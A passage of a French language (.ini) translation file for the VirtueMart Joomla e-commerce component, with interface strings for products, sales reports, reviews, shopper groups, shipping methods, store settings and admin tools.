COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Famille" COM_VIRTUEMART_PRODUCT_S="Produits" COM_VIRTUEMART_PRODUCT_SALES="Nombre de produits vendus" COM_VIRTUEMART_PRODUCT_SALESPRICE="Prix ​​de vente" COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Prix de vente hors-taxe" COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Prix de vente avec réduction" COM_VIRTUEMART_PRODUCT_SHOPPERS="Envoyér un email aux clients" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="Liste des clients ayant acheté %1$s" COM_VIRTUEMART_PRODUCT_SKU="Référence" COM_VIRTUEMART_PRODUCT_SPECIAL="Produit en vedette" COM_VIRTUEMART_PRODUCT_S_DESC="Description courte" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Montant des Taxes" COM_VIRTUEMART_PRODUCT_TAX_NONE="Aucune règle" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Appliquer les règles par défaut" COM_VIRTUEMART_PRODUCT_UNIT="Unité" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Utiliser le template d'alerte" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="Si coché, le message par défaut sera envoyé." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s est arrivé" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notifié" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Avertissez ces utilisateurs maintenant (si vous avez mis à jour le nombre de produits en stock)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Liste d'Attente" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Utilisateurs attendant d'être averti quand le produit sera de nouveau disponible" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="Aucun utilisateur en attente de ce produit" COM_VIRTUEMART_PRODUCT_WEIGHT="Poids" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Unité de Poids" COM_VIRTUEMART_PRODUCT_WIDTH="Largeur" COM_VIRTUEMART_PRODUCT_XREF_CAT="Catégories associés massives" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Exécuter catégories associés massives" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Produits sélectionnés %s" COM_VIRTUEMART_PUBLISH="Publié" COM_VIRTUEMART_PUBLISHED="Publié" COM_VIRTUEMART_PUBLISH_ITEM="Publier l'élément" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="RaiseWarning utilisé : impossible d'enregistrer les données utilisateur de VirtueMart" COM_VIRTUEMART_RATE_FORM_VAT_ID="TVA" COM_VIRTUEMART_RATE_NOM="Notation" COM_VIRTUEMART_RATINGS="Commentaires et Votes" COM_VIRTUEMART_RATING_DATE_TITLE="Date des commentaires" COM_VIRTUEMART_RATING_EDIT_TITLE="Modifier les commentaires des clients" COM_VIRTUEMART_RATING_TITLE="Notation" COM_VIRTUEMART_RECCOMEND_UNATUH="Autorise les personnes non connectées à recommander à un ami" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="Lorsqu'elle est activée n'importe quel utilisateur peut recommander un produit. Sinon, seuls les utilisateurs connectés sont autoriser à recommander un produit." COM_VIRTUEMART_RECENT_PRODUCTS="Produits vus récemment" COM_VIRTUEMART_REGISTER_ACCOUNT="Créer un compte ?
      Un compte vous permettra de revenir sur la boutique et de consulter le suivi des commandes que vous avez passées." COM_VIRTUEMART_REGISTER_BEFORE="Veuillez vous inscrire pour utiliser cette fonctionnalité" COM_VIRTUEMART_REGISTER_EMAIL="E-mail" COM_VIRTUEMART_REGISTER_TITLE="Enregistrement" COM_VIRTUEMART_REGISTER_UNAME="Nom d'utilisateur" COM_VIRTUEMART_REGISTRATION_FORM_NONE="Aucune" COM_VIRTUEMART_REG_COMPLETE="Inscription terminée." COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
      Inscription terminée !

      Votre compte a été créé et un lien d'activation a été envoyé à l'adresse e-mail que vous avez saisie. Notez que vous devrez activer le compte en cliquant sur le lien d'activation lorsque vous recevez l'e-mail avant de pouvoir vous connecter." COM_VIRTUEMART_REG_VENDOR_COMPLETE="Enregistrement du vendeur terminé!" COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="Enregistrement du vendeur terminé !\n
      \nVotre compte a été créé et un lien d'activation a été envoyé à l'adresse e-mail que vous avez saisie. Notez que vous devrez activer le compte en cliquant sur le lien d'activation lorsque vous recevrez l'e-mail avant de pouvoir vous connecter." COM_VIRTUEMART_RELATED_CATEGORIES="Catégories Associées" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Ajoute des catégories en relation à afficher dans le détail de ce produit." COM_VIRTUEMART_RELATED_PRODUCTS="Produits Complémentaires" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="Vous pourriez être également intéressé(e) par l'un de ces produits" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Ajoute des produits à afficher dans le détail de ce produit." COM_VIRTUEMART_RELOAD="Recharger" COM_VIRTUEMART_REMEMBER_ME="Se souvenir de moi" COM_VIRTUEMART_REPORT="Rapport" COM_VIRTUEMART_REPORT_BASIC_DATE="Date" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Liste des produits individuels" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="60 dernière jours" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="90 dernière jours" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Dernier mois" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Commandes" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Liste des produits" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Rapport pour" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Revenu net" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Revenu brut" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Aperçu des activités de vente, / / pas utilisée?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Rapports de ventes, / / pas utilisée?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Voir cette sélection" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="Ce mois" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Nombre d'article vendu" COM_VIRTUEMART_REPORT_FROM_PERIOD="Depuis" COM_VIRTUEMART_REPORT_INTERVAL=" Grouper par " COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="Date de fin" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Journalier" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Mensuel" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Hebdomadaire" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Annuel" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Date de début" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Derniers 30 jours" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Derniers 60 jours" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Derniers 90 jours" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="Ce mois" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="Cette semaine" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="Cette année" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Aujourd'hui" COM_VIRTUEMART_REPORT_SET_PERIOD="Période" COM_VIRTUEMART_REPORT_TITLE="Rapport pour la période du %s au %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Jusqu'au" COM_VIRTUEMART_RESET="Raz" COM_VIRTUEMART_REVIEW="Avis du client" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Commentaires auto-publiés" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="Si elle est cochée, les commentaires sont publiés automatiquement après avoir été postés. Sinon, l'administrateur doit les approuver et les publier." COM_VIRTUEMART_REVIEW_COUNT="Caractères saisis :" COM_VIRTUEMART_REVIEW_DETAILS="Détails du commentaire du client" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Vous pouvez ajouter quelques mots de plus. Nombre de caractères minimum autorisés : %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Merci de raccourcir votre commentaire. Nombre de caractères maximum autorisés : %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Ajouter un commentaire" COM_VIRTUEMART_REVIEW_LOGIN="Veuillez vous identifier pour poster un commentaire." COM_VIRTUEMART_REVIEW_RATE="Commentaire & Notation" COM_VIRTUEMART_REVIEW_RATE_S="Commentaires & Notations" COM_VIRTUEMART_REVIEW_S="Commentaires" COM_VIRTUEMART_RULES_EFFECTING="Règle(s) applicable(s): " COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Chemin pour stocker les factures" COM_VIRTUEMART_SALES="Meilleures ventes" COM_VIRTUEMART_SAMPLE_DATA="Installer des exemples" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Exemples installés" COM_VIRTUEMART_SAVE="Enregistrer" COM_VIRTUEMART_SAVED_CART_TITLE="Panier sauvegardé" COM_VIRTUEMART_SAVE_PERMISSIONS="Enregistrer les autorisations" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Chercher dans toutes les catégories" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Chercher dans toutes les informations produits" COM_VIRTUEMART_SEARCH_AND="ET" COM_VIRTUEMART_SEARCH_DESCRIPTION="Seulement les descriptions produits" COM_VIRTUEMART_SEARCH_LBL="Rechercher" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Seulement les fournisseurs/vendeurs" COM_VIRTUEMART_SEARCH_NOT="PAS" COM_VIRTUEMART_SEARCH_ORDER_ASC=" -/+" COM_VIRTUEMART_SEARCH_ORDER_DESC=" +/-" COM_VIRTUEMART_SEARCH_PRODNAME="Seulement les noms de produits" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Tous les fournisseurs" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Choix du fournisseur" COM_VIRTUEMART_SEARCH_TITLE="Rechercher" COM_VIRTUEMART_SELECT="Sélectionner %s" COM_VIRTUEMART_SELECT_CATEGORY="Sélectionner une catégorie" COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Sélectionner un plug-in " COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Template par défaut de la Boutique" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Sélectionnez le template par défaut, les templates boutique permettent de styliser et personnaliser votre boutique.
      Si aucun template autre que 'default' n'est présent, c'est que vous n'avez pas installé de template supplémentaire." COM_VIRTUEMART_SELECT_FILE="Sélectionner un fichier" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Sélectionner un élément à supprimer" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Choisissez un élément à basculer" COM_VIRTUEMART_SELECT_MANUFACTURER="Sélectionnez le fournisseur" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Sélectionnez une catégorie de fournisseurs :" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Merci de sélectionner un mode de paiement dans l'onglet Informations de Paiement, et cliquez sur le bouton Appliquer pour afficher les paramètres appropriés ici" COM_VIRTUEMART_SELECT_PERIOD="Sélectionner une période" COM_VIRTUEMART_SELECT_PRODUCT="Sélectionner un produit" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Merci de sélectionner un mode de paiement dans l'onglet Informations de livraison, et cliquez sur le bouton Appliquer pour afficher les paramètres appropriés ici" COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Choisissez un utilisateur à modifier" COM_VIRTUEMART_SEND_BUTTON="Envoyer" COM_VIRTUEMART_SEND_SUB="Détails du compte pour %s à %s" COM_VIRTUEMART_SETSTOREOWNER="Définir le propriétaire de la boutique" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Le groupe client par défaut a été modifié" COM_VIRTUEMART_SHIPMENTMETHOD="Mode de Livraison" COM_VIRTUEMART_SHIPMENTMETHOD_S="Modes de Livraison" COM_VIRTUEMART_SHIPMENT_CLONE="Clone livraison" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Mode de livraison a été cloné" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Description du mode de livraison" COM_VIRTUEMART_SHIPMENT_NAME="Nom du mode de livraison" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Nom du mode de livraison" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Le clonage du mode de livraison a échoué" COM_VIRTUEMART_SHIPPINGRATE="Frais de livraison" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Détails sur le taux de livraison" COM_VIRTUEMART_SHIPPINGRATE_S="Frais de livraison" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Mode de livraison" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Choisissez le mode de calcul du montant de livraison " COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Description du mode de livraison" COM_VIRTUEMART_SHIPPING_FORM_NAME="Nom du mode de livraison" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Groupe de clients" COM_VIRTUEMART_SHIPPING_FORM_VAT="TVA" COM_VIRTUEMART_SHIPPING_NAME="Nom du type de livraison" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Groupe de clients" COM_VIRTUEMART_SHIPTO_TEXT="Vous pouvez ajouter des adresses de livraison dans votre compte. Pensez à utiliser un nom ou un code approprié pour l'adresse précisée ci-dessous." COM_VIRTUEMART_SHOPPERGROUP="Groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_ADDED="Le groupe de clients a été ajouté" COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Ce groupe de clients existe déjà pour ce vendeur" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Groupe de clients par défaut" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="Les nouveaux clients seront affectés à ce groupe" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="Vous ne pouvez pas supprimer le groupe de clients par défaut %1$s avec %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="Il y a encore des utilisateurs affectés à ce groupe de clients %1$s avec l'ID %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Impossible de supprimer le groupe de clients par défaut." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="Id du groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="S'il vous plaît sélectionnez un groupe de clients à supprimer." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="Il y a encore des utilisateurs affectés à ce groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Description groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Détails du groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Activer l'affichage des prix spécifiques pour les groupes de clients" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Remise des prix pour le groupe de clients par défaut (en %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="Un montant positif X signifie" COM_VIRTUEMART_SHOPPERGROUP_IDS="Groupes clients" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Remise pour le groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Groupe client incl. Taxes" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="Vous devez donner un nom de groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_NAME="Nom du groupe de clients" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="Le nom du groupe de clients saisi existe déjà pour ce vendeur." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Les noms de groupes de clients ne doivent pas avoir plus de 32 caractères" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="Les groupes de clients doivent avoir un nom" COM_VIRTUEMART_SHOPPERGROUP_S="Groupes clients" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="Le groupe de clients a été actualisé." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Échec de la mise à jour du groupe de clients" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="Adresse 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="Complément d'adresse" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="Adresse de facturation" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="Nom de l'adresse" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="Date de naissance" COM_VIRTUEMART_SHOPPER_FORM_CITY="Ville" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="Nom de la société" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="Pays" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="E-mail" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="Numéro de TVA intracommunautaire" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="Prénom" COM_VIRTUEMART_SHOPPER_FORM_GROUP="Groupe de clients" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="Immeuble" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="Numéro de la maison" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="Nom" COM_VIRTUEMART_SHOPPER_FORM_LBL="Informations" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="2ème Prénom" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="Mot de passe" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="Confirmer le mot de passe" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="Portable" COM_VIRTUEMART_SHOPPER_FORM_PHONE="Téléphone" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="Adresses de livraison" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="Numéro de sécurité social" COM_VIRTUEMART_SHOPPER_FORM_STATE="État/Province/Région" COM_VIRTUEMART_SHOPPER_FORM_TITLE="Civilité" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="Nom d' utilisateur" COM_VIRTUEMART_SHOPPER_FORM_ZIP="Code postal" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Nom du groupe Client" COM_VIRTUEMART_SHOPPER_STATE_NAME="Nom de l'État" COM_VIRTUEMART_SHOPPER_TITLE_MISS="Melle" COM_VIRTUEMART_SHOPPER_TITLE_MR="M" COM_VIRTUEMART_SHOPPER_TITLE_MRS="Mme" COM_VIRTUEMART_SHOW="Afficher" COM_VIRTUEMART_SHOW_DISCOUNTED="Remises sur les produits" COM_VIRTUEMART_SHOW_FEATURED="Produits en vedette" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Afficher la case à cocher 'se souvenir de moi' ?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="Quand elle est cochée, 'se souvenir de moi' est indiqué lors de la validation de la commande. Non recommandé si vous utilisez du SSL mutualisé, parce que le client peut ne pas accepter les cookies utilisateur - or un cookie utilisateur est nécessaire pour garder l'utilisateur connecté sur les deux domaines." COM_VIRTUEMART_SKU="Référence" COM_VIRTUEMART_SLUG="Alias (SEF)" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Erreur : veuillez utiliser uniquement les numéros de commande de la liste" COM_VIRTUEMART_SQL_ERROR="Erreur SQL" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Affiche les catégories VirtueMart" COM_VIRTUEMART_START_DATE="Date de début" COM_VIRTUEMART_START_SYNCRONIZING="Démarrer la synchronisation" COM_VIRTUEMART_STATE="État" COM_VIRTUEMART_STATES_COUNTRY="États pour le pays %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="Voir la liste des états de
       %1$s" COM_VIRTUEMART_STATE_2_CODE="Code État (2 lettres)" COM_VIRTUEMART_STATE_3_CODE="Code État (3 lettres)" COM_VIRTUEMART_STATE_COUNTRY="État pour le pays %1$s" COM_VIRTUEMART_STATE_DETAILS="État(détails)" COM_VIRTUEMART_STATE_IDS="États" COM_VIRTUEMART_STATE_LIST_LBL="État liste pour" COM_VIRTUEMART_STATE_NAME="Nom de l'État" COM_VIRTUEMART_STATE_S="États" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="Produits actifs" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Clients" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="Produits inactifs" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="Nouveaux clients" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="Nouvelles commandes" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistiques" COM_VIRTUEMART_STATISTIC_SUM="Somme" COM_VIRTUEMART_STATISTIC_SUMMARY="Panneau de configuration" COM_VIRTUEMART_STATUS="Statut" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="Stock faible pour cet article" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="Stock important pour ce produit" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Pas de stock pour cette article" COM_VIRTUEMART_STOCK_LEVEL_LOW="Stock du produit faible" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Stock du produit normal" COM_VIRTUEMART_STOCK_LEVEL_OUT="Produit pas en stock" COM_VIRTUEMART_STORE="Boutique" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Devises" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="Liste des devises acceptées" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Nom de la société" COM_VIRTUEMART_STORE_FORM_COUNTRY="Pays" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LBL="Informations sur la boutique" COM_VIRTUEMART_STORE_FORM_LEGAL="Informations légales" COM_VIRTUEMART_STORE_FORM_MPOV="Montant minimum pour passer une commande" COM_VIRTUEMART_STORE_FORM_STATE="État/Province/Région" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Nom de la boutique" COM_VIRTUEMART_STORE_FORM_TOS="Conditions Générales de Vente" COM_VIRTUEMART_STORE_INFORMATION="Informations sur la boutique" COM_VIRTUEMART_STORE_MOD="Boutique" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s a été annulé(e)" COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s n'a pu être supprimé(e)." COM_VIRTUEMART_STRING_DELETED="%s a été supprimé(e)" COM_VIRTUEMART_STRING_DELETED_ERROR="Erreur: %s n'a pu être supprimé(e)" COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Erreur : %s doit avoir un nom." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="%s existe déjà" COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="Le paramètre %1$s est manquant. Impossible d'enregistrer sans ce paramètre %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="Clé primaire %1$s est manquant! Impossible d'enregistrer sans %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s est une fonction non autorisé pour les non vendeurs." COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s est une fonctionnalité réservée aux administrateurs uniquement" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s sélectionné(e) plus bas" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s sélectionné(e) plus haut" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="%s n'a pu être publié(e)" COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s est publié(e)" COM_VIRTUEMART_STRING_SAVED="%s est enregistré" COM_VIRTUEMART_STRING_SAVED_ERROR="Erreur : %s n'a pu être enregistré(e)" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s enregistré(e)" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Erreur : le statut %s n'a pas pu être été mis à jour" COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="Le statut %s a été mis à jour" COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="%s est dépublié(e)" COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s est dépublié(e)" COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronisation des médias VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Action non effectuée. Veuillez d'abord vérifier %1$s puis revenir ici." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="Pour utiliser ces outils, vous devez les activer dans le panneau de configuration ." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="'%1$s' Le paramètre de configuration est activé. Pour des raisons de sécurité, merci de le désactiver dans le panneau de configuration ." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="Le système par défaut a été restauré!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="Les données de VirtueMart ont été supprimées" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="Tables VirtueMart supprimées" COM_VIRTUEMART_TAX_EFFECTING="Taxe(s) appliquée(s):" COM_VIRTUEMART_TEMPLATE_DEFAULT="Template par défaut" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Attributs Zone de Texte" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Attributs de Champ de Saisie" COM_VIRTUEMART_THANK_MESSAGE="Merci pour votre question. Nous vous contacterons dès que possible." COM_VIRTUEMART_THRD_PARTY_CONTACT="Contacter le développeur %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="Manuel pour %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Vignette introuvable" COM_VIRTUEMART_TIME="Heure" COM_VIRTUEMART_TITLE="Titre" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Le titre contient des caractères invalides" COM_VIRTUEMART_TOGGLE_ADMIN="Basculer Admin" COM_VIRTUEMART_TOGGLE_HIDDEN="Basculer Caché" COM_VIRTUEMART_TOOLS_MOD="Outils" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renouveler par fichier de config" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Supprimer la configuration stockée dans la base de données, réinitialiser à partir du fichier par défaut et mettre en session?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

      Les paramètres de configuration sont réinitialisés avec les valeurs du fichier /administrator/component/com_virtuemart/virtuemart.cfg

      " COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Synchronisation des utilisateurs Joomla!" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Télécharger vos médias sur les chemins :
      URL du produit avec les médias: %s
      URL catégorie Médias: %s
      URL fournisseur de médias : %s

      Vous pouvez modifier ces URLs dans les paramètres de configuration.

      " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronisation des médias VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="Définir la catégorie parente" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="Définir l'affichage catégorie parente" COM_VIRTUEMART_TO_SET_PRODUCT="Définir le produit" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="Définir l'affichage de produit" COM_VIRTUEMART_TYPE="Type" COM_VIRTUEMART_TYPES="Types" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Afficher les produits enfants non catégorisés dans les résultats de recherche et des modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="Lorsqu'elle est activée, tous les produits et les produits enfants apparaîtront dans les résultats de recherche et des modules standards. Lorsqu'il est désactivé, les produits enfants non catégorisé n'apparaîtront pas; uniquement le parent apparait." COM_VIRTUEMART_UNCATEGORIZED="-Non catégorisé-" COM_VIRTUEMART_UNINSTALL_NOTE="Note de Désinstallation" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="La désinstallation de VirtueMart ne supprime pas les tables de votre base de données de VirtueMart. Ceci est fait intentionnellement pour permettre la mise à niveau de vos données actuelles aux nouvelles versions de VirtueMart.
